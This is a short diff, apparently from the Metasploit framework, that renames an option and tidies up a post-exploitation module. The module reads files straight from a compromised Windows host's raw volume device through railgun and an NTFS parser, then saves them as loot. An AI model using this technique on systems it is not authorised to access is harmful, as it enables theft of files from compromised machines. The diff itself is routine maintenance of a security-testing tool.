@@ -25,7 +25,7 @@ def initialize(info = {})
25
25
) )
26
26
register_options (
27
27
[
28
- OptString . new ( 'FILE ' , [ true , 'The FILE to retreive from the Volume raw device' , nil ] )
28
+ OptString . new ( 'FILE_PATH ' , [ true , 'The FILE_PATH to retreive from the Volume raw device' , nil ] )
29
29
] , self . class )
30
30
end
31
31
@@ -42,8 +42,8 @@ def run
42
42
return
43
43
end
44
44
45
- file = datastore [ 'FILE ' ]
46
- drive = file [ 0 , 2 ]
45
+ file_path = datastore [ 'FILE_PATH ' ]
46
+ drive = file_path [ 0 , 2 ]
47
47
48
48
r = client . railgun . kernel32 . CreateFileA ( "\\ \\ .\\ #{ drive } " , "GENERIC_READ" , "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE" ,
49
49
nil , "OPEN_EXISTING" , "FILE_FLAG_WRITE_THROUGH" , 0 )
@@ -56,11 +56,12 @@ def run
56
56
print_status ( "Successfuly opened #{ drive } " )
57
57
begin
58
58
fs = Rex ::Parser ::NTFS . new ( self )
59
- print_status ( "Trying gather #{ file } " )
60
- data = fs . file ( file [ 3 , file . length - 3 ] )
61
- file_name = file . split ( "\\ " ) [ -1 ]
59
+ print_status ( "Trying gather #{ file_path } " )
60
+ path = file_path [ 3 , file_path . length - 3 ]
61
+ data = fs . file ( path )
62
+ file_name = file_path . split ( "\\ " ) [ -1 ]
62
63
stored_path = store_loot ( "windows.file" , 'application/octet-stream' , session , data , file_name , "Windows file" )
63
- print_status ( "Saving file : #{ stored_path } " )
64
+ print_good ( "Saving file : #{ stored_path } " )
64
65
rescue ::Exception => e
65
66
print_error ( "Post failed : #{ e . backtrace } " )
66
67
ensure
0 commit comments